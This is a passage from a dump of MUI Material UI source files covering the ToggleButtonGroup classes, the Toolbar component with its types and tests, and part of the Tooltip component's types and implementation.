    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ToggleButtonGroupClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the children. */\n  grouped: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** Styles applied to the first button in the toggle button group. */\n  firstButton: string;\n  /** Styles applied to the last button in the toggle button group. */\n  lastButton: string;\n  /** Styles applied to buttons in the middle of the toggle button group. */\n  middleButton: string;\n}\n\nexport type ToggleButtonGroupClassKey = keyof ToggleButtonGroupClasses;\n\nexport function getToggleButtonGroupUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiToggleButtonGroup', slot);\n}\n\nconst toggleButtonGroupClasses: ToggleButtonGroupClasses = generateUtilityClasses(\n  'MuiToggleButtonGroup',\n  [\n    'root',\n    'selected',\n    'horizontal',\n    'vertical',\n    'disabled',\n    'grouped',\n    'fullWidth',\n    'firstButton',\n    'lastButton',\n    'middleButton',\n  ],\n);\n\nexport default toggleButtonGroupClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/Toolbar.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ToolbarClasses } from './toolbarClasses';\n\nexport interface ToolbarPropsVariantOverrides {}\n\nexport interface ToolbarOwnProps {\n  /**\n   * The Toolbar children, usually a mixture of `IconButton`, `Button` and `Typography`.\n   * The Toolbar is a flex container, allowing flex item properties to be used to lay out the children.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ToolbarClasses> | undefined;\n  /**\n   * If `true`, disables gutter padding.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * The variant to use.\n   * @default 'regular'\n   */\n  variant?: OverridableStringUnion<'regular' | 'dense', ToolbarPropsVariantOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ToolbarTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ToolbarOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [App Bar](https://next.mui.com/material-ui/react-app-bar/)\n *\n * API:\n *\n * - [Toolbar API](https://next.mui.com/material-ui/api/toolbar/)\n */\ndeclare const Toolbar: OverridableComponent<ToolbarTypeMap>;\n\nexport type ToolbarProps<\n  RootComponent extends React.ElementType = ToolbarTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ToolbarTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Toolbar;\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/Toolbar.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getToolbarUtilityClass } from './toolbarClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableGutters, variant } = ownerState;\n\n  const slots = {\n    root: ['root', !disableGutters && 'gutters', variant],\n  };\n\n  return composeClasses(slots, getToolbarUtilityClass, classes);\n};\n\nconst ToolbarRoot = styled('div', {\n  name: 'MuiToolbar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableGutters && styles.gutters, styles[ownerState.variant]];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'relative',\n    display: 'flex',\n    alignItems: 'center',\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.disableGutters,\n        style: {\n          paddingLeft: theme.spacing(2),\n          paddingRight: theme.spacing(2),\n          [theme.breakpoints.up('sm')]: {\n            paddingLeft: theme.spacing(3),\n            paddingRight: theme.spacing(3),\n          },\n        },\n      },\n      {\n        props: {\n          variant: 'dense',\n        },\n        style: {\n          minHeight: 48,\n        },\n      },\n      {\n        props: {\n          variant: 'regular',\n        },\n        style: theme.mixins.toolbar,\n      },\n    ],\n  })),\n);\n\nconst Toolbar = React.forwardRef(function Toolbar(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiToolbar' });\n  const {\n    className,\n    component = 'div',\n    disableGutters = false,\n    variant = 'regular',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    disableGutters,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ToolbarRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nToolbar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The Toolbar children, usually a mixture of `IconButton`, `Button` and `Typography`.\n   * The Toolbar is a flex container, allowing flex item properties to be used to lay out the children.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, disables gutter padding.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'regular'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['dense', 'regular']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Toolbar;\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/Toolbar.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Toolbar, { toolbarClasses as classes } from '@mui/material/Toolbar';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Toolbar />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Toolbar />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiToolbar',\n    refInstanceof: window.HTMLDivElement,\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'variant', value: 'foo', styleKey: 'foo' },\n  }));\n\n  it('should render with gutters class', () => {\n    const { container } = render(<Toolbar className=\"woofToolbar\">foo</Toolbar>);\n\n    expect(container.firstChild).to.have.class(classes.gutters);\n  });\n\n  it('can disable the gutters', () => {\n    const { container } = render(<Toolbar disableGutters>foo</Toolbar>);\n\n    expect(container.firstChild).not.to.have.class(classes.gutters);\n  });\n\n  it('can condense itself', () => {\n    const { container } = render(<Toolbar variant=\"dense\">foo</Toolbar>);\n\n    expect(container.firstChild).to.have.class(classes.dense);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/index.d.ts",
    "content": "export { default } from './Toolbar';\nexport * from './Toolbar';\n\nexport { default as toolbarClasses } from './toolbarClasses';\nexport * from './toolbarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/index.js",
    "content": "export { default } from './Toolbar';\n\nexport { default as toolbarClasses } from './toolbarClasses';\nexport * from './toolbarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Toolbar/toolbarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ToolbarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `disableGutters={true}`. */\n  gutters: string;\n  /** Styles applied to the root element if `variant=\"regular\"`. */\n  regular: string;\n  /** Styles applied to the root element if `variant=\"dense\"`. */\n  dense: string;\n}\n\nexport type ToolbarClassKey = keyof ToolbarClasses;\n\nexport function getToolbarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiToolbar', slot);\n}\n\nconst toolbarClasses: ToolbarClasses = generateUtilityClasses('MuiToolbar', [\n  'root',\n  'gutters',\n  'regular',\n  'dense',\n]);\n\nexport default toolbarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/Tooltip.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { PopperProps } from '../Popper';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { TransitionProps } from '../transitions/transition';\nimport { TooltipClasses } from './tooltipClasses';\n\nexport interface TooltipPopperSlotPropsOverrides {}\n\nexport interface TooltipTransitionSlotPropsOverrides {}\n\nexport interface TooltipTooltipSlotPropsOverrides {}\n\nexport interface TooltipArrowSlotPropsOverrides {}\n\nexport interface TooltipSlots {\n  /**\n   * The component used for the popper.\n   * @default Popper\n   */\n  popper: React.ElementType;\n  /**\n   * The component used for the transition.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Grow\n   */\n  transition: React.ElementType;\n  /**\n   * The component used for the tooltip.\n   */\n  tooltip: React.ElementType;\n  /**\n   * The component used for the arrow.\n   */\n  arrow: React.ElementType;\n}\n\nexport type TooltipSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  TooltipSlots,\n  {\n    /**\n     * Props forwarded to the popper slot.\n     * By default, the available props are based on the [Popper](https://mui.com/material-ui/api/popper/#props) component.\n     */\n    popper: SlotProps<\n      React.ElementType<PopperProps>,\n      TooltipPopperSlotPropsOverrides,\n      TooltipOwnerState\n    >;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Grow](https://mui.com/material-ui/api/grow/#props) component.\n     */\n    transition: SlotProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & TooltipTransitionSlotPropsOverrides,\n      TooltipOwnerState\n    >;\n    /**\n     * Props forwarded to the tooltip slot.\n     * By default, the available props are based on the div element.\n     */\n    tooltip: SlotProps<'div', TooltipTooltipSlotPropsOverrides, TooltipOwnerState>;\n    /**\n     * Props forwarded to the tooltip slot.\n     * By default, the available props are based on the span element.\n     */\n    arrow: SlotProps<'span', TooltipArrowSlotPropsOverrides, TooltipOwnerState>;\n  }\n>;\n\nexport interface TooltipProps\n  extends StandardProps<React.HTMLAttributes<HTMLDivElement>, 'title'>, TooltipSlotsAndSlotProps {\n  /**\n   * If `true`, adds an arrow to the tooltip.\n   * @default false\n   */\n  arrow?: boolean | undefined;\n  /**\n   * Tooltip reference element.\n   */\n  children: React.ReactElement<unknown, any>;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TooltipClasses> | undefined;\n  /**\n   * Set to `true` if the `title` acts as an accessible description.\n   * By default the `title` acts as an accessible label for the child.\n   * @default false\n   */\n  describeChild?: boolean | undefined;\n  /**\n   * Do not respond to focus-visible events.\n   * @default false\n   */\n  disableFocusListener?: boolean | undefined;\n  /**\n   * Do not respond to hover events.\n   * @default false\n   */\n  disableHoverListener?: boolean | undefined;\n  /**\n   * Makes a tooltip not interactive, i.e. it will close when the user\n   * hovers over the tooltip before the `leaveDelay` is expired.\n   * @default false\n   */\n  disableInteractive?: boolean | undefined;\n  /**\n   * Do not respond to long press touch events.\n   * @default false\n   */\n  disableTouchListener?: boolean | undefined;\n  /**\n   * The number of milliseconds to wait before showing the tooltip.\n   * This prop won't impact the enter touch delay (`enterTouchDelay`).\n   * @default 100\n   */\n  enterDelay?: number | undefined;\n  /**\n   * The number of milliseconds to wait before showing the tooltip when one was already recently opened.\n   * @default 0\n   */\n  enterNextDelay?: number | undefined;\n  /**\n   * The number of milliseconds a user must touch the element before showing the tooltip.\n   * @default 700\n   */\n  enterTouchDelay?: number | undefined;\n  /**\n   * If `true`, the tooltip follow the cursor over the wrapped element.\n   * @default false\n   */\n  followCursor?: boolean | undefined;\n  /**\n   * This prop is used to help implement the accessibility logic.\n   * If you don't provide this prop. It falls back to a randomly generated id.\n   */\n  id?: string | undefined;\n  /**\n   * The number of milliseconds to wait before hiding the tooltip.\n   * This prop won't impact the leave touch delay (`leaveTouchDelay`).\n   * @default 0\n   */\n  leaveDelay?: number | undefined;\n  /**\n   * The number of milliseconds after the user stops touching an element before hiding the tooltip.\n   * @default 1500\n   */\n  leaveTouchDelay?: number | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onClose?: ((event: React.SyntheticEvent | Event) => void) | undefined;\n  /**\n   * Callback fired when the component requests to be open.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onOpen?: ((event: React.SyntheticEvent) => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * Tooltip placement.\n   * @default 'bottom'\n   */\n  placement?: PopperProps['placement'] | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Tooltip title. Zero-length titles string, undefined, null and false are never displayed.\n   */\n  title: React.ReactNode;\n}\n\nexport interface TooltipOwnerState extends TooltipProps {}\n\n/**\n *\n * Demos:\n *\n * - [Tooltip](https://next.mui.com/material-ui/react-tooltip/)\n *\n * API:\n *\n * - [Tooltip API](https://next.mui.com/material-ui/api/tooltip/)\n */\nexport default function Tooltip(props: TooltipProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/Tooltip.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport useTimeout, { Timeout } from '@mui/utils/useTimeout';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport isFocusVisible from '@mui/utils/isFocusVisible';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport Grow from '../Grow';\nimport Popper from '../Popper';\nimport useEventCallback from '../utils/useEventCallback';\nimport useForkRef from '../utils/useForkRef';\nimport useId from '../utils/useId';\nimport useControlled from '../utils/useControlled';\nimport useSlot from '../utils/useSlot';\nimport tooltipClasses, { getTooltipUtilityClass } from './tooltipClasses';\n\nfunction round(value) {\n  return Math.round(value * 1e5) / 1e5;\n}\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableInteractive, arrow, touch, placement } = ownerState;\n\n  const slots = {\n    popper: ['popper', !disableInteractive && 'popperInteractive', arrow && 'popperArrow'],\n    tooltip: [\n      'tooltip',\n      arrow && 'tooltipArrow',\n      touch && 'touch',\n      `tooltipPlacement${capitalize(placement.split('-')[0])}`,\n    ],\n    arrow: ['arrow'],\n  };\n\n  return composeClasses(slots, getTooltipUtilityClass, classes);\n};\n\nconst TooltipPopper = styled(Popper, {\n  name: 'MuiTooltip',\n  slot: 'Popper',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.popper,\n      !ownerState.disableInteractive && styles.popperInteractive,\n      ownerState.arrow && styles.popperArrow,\n      !ownerState.open && styles.popperClose,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: (theme.vars || theme).zIndex.tooltip,\n    pointerEvents: 'none',\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.disableInteractive,\n        style: {\n          pointerEvents: 'auto',\n        },\n      },\n      {\n        props: ({ open }) => !open,\n        style: {\n          pointerEvents: 'none',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.arrow,\n        style: {\n          [`&[data-popper-placement*=\"bottom\"] .${tooltipClasses.arrow}`]: {\n            top: 0,\n            marginTop: '-0.71em',\n            '&::before': {\n              transformOrigin: '0 100%',\n            },\n          },\n          [`&[data-popper-placement*=\"top\"] .${tooltipClasses.arrow}`]: {\n            bottom: 0,\n            marginBottom: '-0.71em',\n            '&::before': {\n              transformOrigin: '100% 0',\n            },\n          },\n          [`&[data-popper-placement*=\"right\"] .${tooltipClasses.arrow}`]: {\n            height: '1em',\n            width: '0.71em',\n            '&::before': {\n              transformOrigin: '100% 100%',\n            },\n          },\n          [`&[data-popper-placement*=\"left\"] .${tooltipClasses.arrow}`]: {\n            height: '1em',\n            width: '0.71em',\n            '&::before': {\n              transformOrigin: '0 0',\n            },\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.arrow && !ownerState.isRtl,\n        style: {\n          [`&[data-popper-placement*=\"right\"] .${tooltipClasses.arrow}`]: {\n            left: 0,\n            marginLeft: '-0.71em',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.arrow && !!ownerState.isRtl,\n        style: {\n          [`&[data-popper-placement*=\"right\"] .${tooltipClasses.arrow}`]: {\n            right: 0,\n            marginRight: '-0.71em',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.arrow && !ownerState.isRtl,\n        style: {\n          [`&[data-popper-placement*=\"left\"] .${tooltipClasses.arrow}`]: {\n            right: 0,\n            marginRight: '-0.71em',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.arrow && !!ownerState.isRtl,\n        style: {\n          [`&[data-popper-placement*=\"left\"] .${tooltipClasses.arrow}`]: {\n            left: 0,\n            marginLeft: '-0.71em',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst TooltipTooltip = styled('div', {\n  name: 'MuiTooltip',\n  slot: 'Tooltip',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.tooltip,\n      ownerState.touch && styles.touch,\n      ownerState.arrow && styles.tooltipArrow,\n      styles[`tooltipPlacement${capitalize(ownerState.placement.split('-')[0])}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    backgroundColor: theme.vars\n      ? theme.vars.palette.Tooltip.bg\n      : theme.alpha(theme.palette.grey[700], 0.92),\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    color: (theme.vars || theme).palette.common.white,\n    fontFamily: theme.typography.fontFamily,\n    padding: '4px 8px',\n    fontSize: theme.typography.pxToRem(11),\n    maxWidth: 300,\n    margin: 2,\n    wordWrap: 'break-word',\n    fontWeight: theme.typography.fontWeightMedium,\n    [`.${tooltipClasses.popper}[data-popper-placement*=\"left\"] &`]: {\n      transformOrigin: 'right center',\n    },\n    [`.${tooltipClasses.popper}[data-popper-placement*=\"right\"] &`]: {\n      transformOrigin: 'left center',\n    },\n    [`.${tooltipClasses.popper}[data-popper-placement*=\"top\"] &`]: {\n      transformOrigin: 'center bottom',\n      marginBottom: '14px',\n    },\n    [`.${tooltipClasses.popper}[data-popper-placement*=\"bottom\"] &`]: {\n      transformOrigin: 'center top',\n      marginTop: '14px',\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.arrow,\n        style: {\n          position: 'relative',\n          margin: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.touch,\n        style: {\n          padding: '8px 16px',\n          fontSize: theme.typography.pxToRem(14),\n          lineHeight: `${round(16 / 14)}em`,\n          fontWeight: theme.typography.fontWeightRegular,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.isRtl,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"left\"] &`]: {\n            marginRight: '14px',\n          },\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"right\"] &`]: {\n            marginLeft: '14px',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.isRtl && ownerState.touch,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"left\"] &`]: {\n            marginRight: '24px',\n          },\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"right\"] &`]: {\n            marginLeft: '24px',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => !!ownerState.isRtl,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"left\"] &`]: {\n            marginLeft: '14px',\n          },\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"right\"] &`]: {\n            marginRight: '14px',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => !!ownerState.isRtl && ownerState.touch,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"left\"] &`]: {\n            marginLeft: '24px',\n          },\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"right\"] &`]: {\n            marginRight: '24px',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.touch,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"top\"] &`]: {\n            marginBottom: '24px',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.touch,\n        style: {\n          [`.${tooltipClasses.popper}[data-popper-placement*=\"bottom\"] &`]: {\n            marginTop: '24px',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst TooltipArrow = styled('span', {\n  name: 'MuiTooltip',\n  slot: 'Arrow',\n})(\n  memoTheme(({ theme }) => ({\n    overflow: 'hidden',\n    position: 'absolute',\n    width: '1em',\n    height: '0.71em' /* = width / sqrt(2) = (length of the hypotenuse) */,\n    boxSizing: 'border-box',\n    color: theme.vars ? theme.vars.palette.Tooltip.bg : theme.alpha(theme.palette.grey[700], 0.9),\n    '&::before': {\n      content: '\"\"',\n      margin: 'auto',\n      display: 'block',\n      width: '100%',\n      height: '100%',\n      backgroundColor: 'currentColor',\n      transform: 'rotate(45deg)',\n    },\n  })),\n);\n\nlet hystersisOpen = false;\nconst hystersisTimer = new Timeout();\nlet cursorPosition = { x: 0, y: 0 };\n\nexport function testReset() {\n  hystersisOpen = false;\n  hystersisTimer.clear();\n}\n\nfunction composeEventHandler(handler, eventHandler) {\n  return (event, ...params) => {\n    if (eventHandler) {\n      eventHandler(event, ...params);\n    }\n    handler(event, ...params);\n  };\n}\n\nconst Tooltip = React.forwardRef(function Tooltip(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTooltip' });\n  const {\n    arrow = false,\n    children: childrenProp,\n    classes: classesProp,\n    describeChild = false,\n    disableFocusListener = false,\n    disableHoverListener = false,\n    disableInteractive: disableInteractiveProp = false,\n    disableTouchListener = false,\n    enterDelay = 100,\n    enterNextDelay = 0,\n    enterTouchDelay = 700,\n    followCursor = false,\n    id: idProp,\n    leaveDelay = 0,\n    leaveTouchDelay = 1500,\n    onClose,\n    onOpen,\n    open: openProp,\n    placement = 'bottom',\n    slotProps = {},\n    slots = {},\n    title,\n    ...other\n  } = props;\n\n  // to prevent runtime errors, developers will need to provide a child as a React element anyway.\n  const children = React.isValidElement(childrenProp) ? childrenProp : <span>{childrenProp}</span>;\n\n  const theme = useTheme();\n  const isRtl = useRtl();\n\n  const [childNode, setChildNode] = React.useState();\n  const [arrowRef, setArrowRef] = React.useState(null);\n  const ignoreNonTouchEvents = React.useRef(false);\n\n  const disableInteractive = disableInteractiveProp || followCursor;\n\n  const closeTimer = useTimeout();\n  const enterTimer = useTimeout();\n  const leaveTimer = useTimeout();\n  const touchTimer = useTimeout();\n\n  const [openState, setOpenState] = useControlled({\n    controlled: openProp,\n    default: false,\n    name: 'Tooltip',\n    state: 'open',\n  });\n\n  let open = openState;\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- process.env never changes\n    const { current: isControlled } = React.useRef(openProp !== undefined);\n\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- process.env never changes\n    React.useEffect(() => {\n      if (\n        childNode &&\n        childNode.disabled &&\n        !isControlled &&\n        title !== '' &&\n        childNode.tagName.toLowerCase() === 'button'\n      ) {\n        console.warn(\n          [\n            'MUI: You are providing a disabled `button` child to the Tooltip component.',\n            'A disabled element does not fire events.',\n            \"Tooltip needs to listen to the child element's events to display the title.\",\n            '',\n            'Add a simple wrapper element, such as a `span`.',\n          ].join('\\n'),\n        );\n      }\n    }, [title, childNode, isControlled]);\n  }\n\n  const id = useId(idProp);\n\n  const prevUserSelect = React.useRef();\n  const stopTouchInteraction = useEventCallback(() => {\n    if (prevUserSelect.current !== undefined) {\n      document.body.style.WebkitUserSelect = prevUserSelect.current;\n      prevUserSelect.current = undefined;\n    }\n    touchTimer.clear();\n  });\n\n  React.useEffect(() => stopTouchInteraction, [stopTouchInteraction]);\n\n  const handleOpen = (event) => {\n    hystersisTimer.clear();\n    hystersisOpen = true;\n\n    // The mouseover event will trigger for every nested element in the tooltip.\n    // We can skip rerendering when the tooltip is already open.\n    // We are using the mouseover event instead of the mouseenter event to fix a hide/show issue.\n    setOpenState(true);\n\n    if (onOpen && !open) {\n      onOpen(event);\n    }\n  };\n\n  const handleClose = useEventCallback(\n    /**\n     * @param {React.SyntheticEvent | Event} event\n     */\n    (event) => {\n      hystersisTimer.start(800 + leaveDelay, () => {\n        hystersisOpen = false;\n      });\n      setOpenState(false);\n\n      if (onClose && open) {\n        onClose(event);\n      }\n\n      closeTimer.start(theme.transitions.duration.shortest, () => {\n        ignoreNonTouchEvents.current = false;\n      });\n    },\n  );\n\n  const handleMouseOver = (event) => {\n    if (ignoreNonTouchEvents.current && event.type !== 'touchstart') {\n      return;\n    }\n\n    // Remove the title ahead of time.\n    // We don't want to wait for the next render commit.\n    // We would risk displaying two tooltips at the same time (native + this one).\n    if (childNode) {\n      childNode.removeAttribute('title');\n    }\n\n    enterTimer.clear();\n    leaveTimer.clear();\n    if (enterDelay || (hystersisOpen && enterNextDelay)) {\n      enterTimer.start(hystersisOpen ? enterNextDelay : enterDelay, () => {\n        handleOpen(event);\n      });\n    } else {\n      handleOpen(event);\n    }\n  };\n\n  const handleMouseLeave = (event) => {\n    enterTimer.clear();\n    leaveTimer.start(leaveDelay, () => {\n      handleClose(event);\n    });\n  };\n\n  const [, setChildIsFocusVisible] = React.useState(false);\n  const handleBlur = (event) => {\n    // Needed for https://github.com/mui/material-ui/issues/45373\n    const target = event?.target ?? childNode;\n    if (!target || !isFocusVisible(target)) {\n      setChildIsFocusVisible(false);\n\n      // InputBase can call onBlur() without an event when the input becomes disabled.\n      // Tooltip must not assume an event object exists.\n      const closeEvent = event ?? new Event('blur');\n\n      // `new Event('blur')` has `target/currentTarget === null`, but Tooltip's close logic\n      // (and user callbacks like onClose) may expect them to reference the anchor element.\n      if (!event && target) {\n        Object.defineProperty(closeEvent, 'target', { value: target });\n        Object.defineProperty(closeEvent, 'currentTarget', { value: target });\n      }\n      handleMouseLeave(closeEvent);\n    }\n  };\n\n  const handleFocus = (event) => {\n    // Workaround for https://github.com/facebook/react/issues/7769\n    // The autoFocus of React might trigger the event before the componentDidMount.\n    // We need to account for this eventuality.\n    if (!childNode) {\n      setChildNode(event.currentTarget);\n    }\n\n    if (isFocusVisible(event.target)) {\n      setChildIsFocusVisible(true);\n      handleMouseOver(event);\n    }\n  };\n\n  const detectTouchStart = (event) => {\n    ignoreNonTouchEvents.current = true;\n\n    const childrenProps = children.props;\n    if (childrenProps.onTouchStart) {\n      childrenProps.onTouchStart(event);\n    }\n  };\n\n  const handleTouchStart = (event) => {\n    detectTouchStart(event);\n    leaveTimer.clear();\n    closeTimer.clear();\n    stopTouchInteraction();\n\n    prevUserSelect.current = document.body.style.WebkitUserSelect;\n    // Prevent iOS text selection on long-tap.\n    document.body.style.WebkitUserSelect = 'none';\n\n    touchTimer.start(enterTouchDelay, () => {\n      document.body.style.WebkitUserSelect = prevUserSelect.current;\n      handleMouseOver(event);\n    });\n  };\n\n  const handleTouchEnd = (event) => {\n    if (children.props.onTouchEnd) {\n      children.props.onTouchEnd(event);\n    }\n\n    stopTouchInteraction();\n    leaveTimer.start(leaveTouchDelay, () => {\n      handleClose(event);\n    });\n  };\n\n  React.useEffect(() => {\n    if (!open) {\n      return undefined;\n    }\n\n    /**\n     * @param {KeyboardEvent} nativeEvent\n     */\n    function handleKeyDown(nativeEvent) {\n      if (nativeEvent.key === 'Escape') {\n        handleClose(nativeEvent);\n      }\n    }\n\n    document.addEventListener('keydown', handleKeyDown);\n\n    return () => {\n      document.removeEventListener('keydown', handleKeyDown);\n    };\n  }, [handleClose, open]);\n\n  const handleRef = useForkRef(getReactElementRef(children), setChildNode, ref);\n\n  // There is no point in displaying an empty tooltip.\n  // So we exclude all falsy values, except 0, which is valid.\n  if (!title && title !== 0) {\n    open = false;\n  }\n\n  const popperRef = React.useRef();\n\n  const handleMouseMove = (event) => {\n    const childrenProps = children.props;\n    if (childrenProps.onMouseMove) {\n      childrenProps.onMouseMove(event);\n    }\n\n    cursorPosition = { x: event.clientX, y: event.clientY };\n\n    if (popperRef.current) 